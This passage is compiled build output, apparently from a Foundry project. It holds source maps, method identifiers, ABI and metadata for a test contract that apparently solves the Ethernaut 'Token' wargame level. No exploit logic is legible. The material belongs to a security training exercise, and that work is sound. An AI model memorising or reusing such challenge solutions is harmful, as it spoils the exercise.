;1671:8;;1620:62;;-1:-1:-1;1632:49:149;;-1:-1:-1;;;;;;1652:9:149;;;;1671:8;1632:19;:49::i;:::-;1620:11;:62::i;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20416:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20389:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;80:93;14:165;:::o;184:512::-;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18768:277::-;18835:6;18888:2;18876:9;18867:7;18863:23;18859:32;18856:52;;;18904:1;18901;18894:12;18856:52;18936:9;18930:16;18989:5;18982:13;18975:21;18968:5;18965:32;18955:60;;19011:1;19008;19001:12;19951:184;20021:6;20074:2;20062:9;20053:7;20049:23;20045:32;20042:52;;;20090:1;20087;20080:12;20042:52;-1:-1:-1;20113:16:155;;19951:184;-1:-1:-1;19951:184:155:o;20140:125::-;20205:9;;;20226:10;;;20223:36;;;20239:18;;:::i;20452:383::-;20649:2;20638:9;20631:21;20612:4;20675:45;20716:2;20705:9;20701:18;20693:6;20675:45;:::i;:::-;20768:9;20760:6;20756:22;20751:2;20740:9;20736:18;20729:50;20796:33;20822:6;20814;20796:33;:::i;:::-;20788:41;20452:383;-1:-1:-1;;;;;20452:383:155:o;20840:335::-;20919:6;20972:2;20960:9;20951:7;20947:23;20943:32;20940:52;;;20988:1;20985;20978:12;20940:52;21021:9;21015:16;21054:18;21046:6;21043:30;21040:50;;;21086:1;21083;21076:12;21040:50;21109:60;21161:7;21152:6;21141:9;21137:22;21109:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Token.t.sol\":\"TestToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a68748